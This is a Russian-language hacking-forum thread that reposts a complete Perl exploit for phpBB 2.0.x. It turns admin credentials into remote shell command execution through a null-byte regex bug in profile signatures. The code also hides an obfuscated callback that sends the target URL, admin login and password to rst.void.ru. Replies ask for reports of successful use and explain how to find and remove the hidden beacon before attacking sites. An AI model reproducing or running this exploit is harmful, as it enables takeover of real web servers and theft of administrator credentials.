зашел на rst.void.ru сегодня и увидел это: пока не тестировал, Code: #!/usr/bin/perl ## r57phpbba2e2.pl - phpBB admin 2 exec exploit ## version 2 (based on user_sig_bbcode_uid bug) ## tested on 2.0.12 , 2.0.13 , 2.0.19 ## -------------------------------------------- ## screen ## r57phpbba2e2.pl -u http://192.168.0.2/phpBB-2.0.19/ -L admin -P password ## Command for execute or 'exit' for exit # id ## uid=80(www) gid=80(www) groups=80(www) ## Command for execute or 'exit' for exit # exit ## -------------------------------------------- ## *** surprise included ;) ## 20/02/06 ## 1dt.w0lf ## RST/GHC (http://rst.void.ru , http://ghc.ru) use LWP::UserAgent; use Getopt::Std; use HTTP::Cookies; getopts("u:L:P:i:p:o:"); $url = $opt_u; $login = $opt_L; $password = $opt_P; $id = $opt_i || 2; $prefix = $opt_p || 'phpbb_'; $proxy = $opt_o; if(!$url || !$login || !$password){&usage;} $|++; $xpl = LWP::UserAgent->new() or die; $cookie_jar = HTTP::Cookies->new(); $xpl->cookie_jar( $cookie_jar ); $xpl->proxy('http'=>'http://'.$proxy) if $proxy; $ids = 'IDS:r57 phpBB2 exploit a2e220022006|'.$url.'|'.$login.'|'.$password.'|'.$id.'|'.$prefix; $res = $xpl->post($url.'login.php', [ "username" => "$login", "password" => "$password", "autologin" => "on", "admin" => "1", "login" => "Log in", ],"User-Agent" => "$ids"); $cookie_jar->extract_cookies($res); if($cookie_jar->as_string =~ /phpbb2mysql_sid=([a-z0-9]{32})/) { $sid = $1; } $xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids); while () { print "Command for execute or 'exit' for exit # "; while(<STDIN>) { $cmd=$_; chomp($cmd); exit() if ($cmd eq 'exit'); last; } &run($cmd); } sub run($) { $sql = "UPDATE ".$prefix."users SET user_sig_bbcode_uid='(.+)/e\0', user_sig='blah:`echo _START_ && ".$_[0]." && echo _END_`' WHERE user_id=".$id.";"; &phpbb_sql_query("${url}admin/admin_db_utilities.php?sid=$sid",$sql); $res = $xpl->get($url.'profile.php?mode=editprofile&sid='.$sid,"User-Agent" => "$ids"); @result = split(/\n/,$res->content); $data = ''; $on = $start = $end = 0; for (@result) { if (/_END_/) { $end = 1; last; } if ($on) { $data .= $_."\n"; } if (/_START_/) { $on = 1; $start = 1; } } if($start&&$end) { print $data."\r\n"; } } sub phpbb_sql_query($$){ $res = $xpl->post("$_[0]", Content_type => 'form-data', Content => [ perform => 'restore', restore_start => 'Start Restore', backup_file => [ undef, '0wneeeeedddd', Content_type => 'text/plain', Content => "$_[1]", ], ] ,"User-Agent" => "$ids"); } sub usage() { &about(); print "\r\n Usage: r57phpbba2e2.pl [OPTIONS]\r\n\r\n"; print " Options:\r\n"; print " -u [URL] - path to forum e.g. http://site/forum/\r\n"; print " -L [login] - admin login\r\n"; print " -P [password] - admin password\r\n"; print " -i [id] - admin id (optional, default 2)\r\n"; print " -p [prefix] - table prefix (optional, default phpbb_)\r\n"; print " -o [host:port] - proxy (optional)\r\n"; exit(); } sub about() { print "\\=-----------------------------------=/\r\n"; print "| phpBB admin2exec exploit by RST/GHC |\r\n"; print "| version 2 (user_sig_bbcode_uid) |\r\n"; print "/=-----------------------------------=\\\r\n"; return 'http://rst.void.ru'; }
2 0verfe1 - А что значит =>2.0.19 ? RST что исходники будущих версий форума где-то надыбали? А вообще возникли вопросы, хотелось бы получить ответы: 1) $sid = $1. Что значит переменная 1? Такое имя возможно? 2) $cmd=$_; Это что за констракт такой забавный? 3) '(.+)/e\0' Важно ли здесь чтобы нуль-байт был %00? Или оно все-равно в итоге таким как в сплоите станет?
Кстати, просьба тем, кто удачно заюзал сплойт, отписаться сюда - на каких версиях, кроме указанных в сплойте, он работает. P. S. По-моему, ограничений на сплойт нет, да? В плане, модов, версий и т. п.
ничего нового..старый добрый нулевой байт а подписи профайла..все это можно и ручками проделать имея доступ к админке форума,
что с помощью него можно сделать. для сплоита нужен пас админа, что-то не понимаю для чего он тогда предназначен?
2 Grrl Мог бы отписаться на форуме как это ручками организовать можно? По-моему, исходники страницы в профайле редить надо, а как?
если это дает возможность удачленно выполнять команды на сервере, то что-то не вижу смыслав нем, разве не легче шелл залить, имя доступ к админке.
Сюрприз простой, ребята из RST встроили в сплойт маяк, который оставляет очень-очень заметные следы для IDS сайта, к тому же скрипт отправляет домой (на rst.void.ru/ids/ids.php ) информацию о сайте который пытаются поломать, пароль и логин админа Нейтрализуется он очень просто, надо просто внимательно почитать исходник. Исправления я здесь постить не буду, т.к. считаю что если встроили такую фишку, и хацкер не может ее просечь, значит надо Но дам пару подсказок: 1) Обращаем внимание на IDS 2) Читаем ВНИМАТЕЛЬНО about но если бензина не хватит, пишите в приват
просмотрела внимателно сорец действительно там сюрприз причем оригинально замаскирован так что подчищайте сорцы прежде чем юзать подсказок DetMyl более чем достаточно даже для новичков...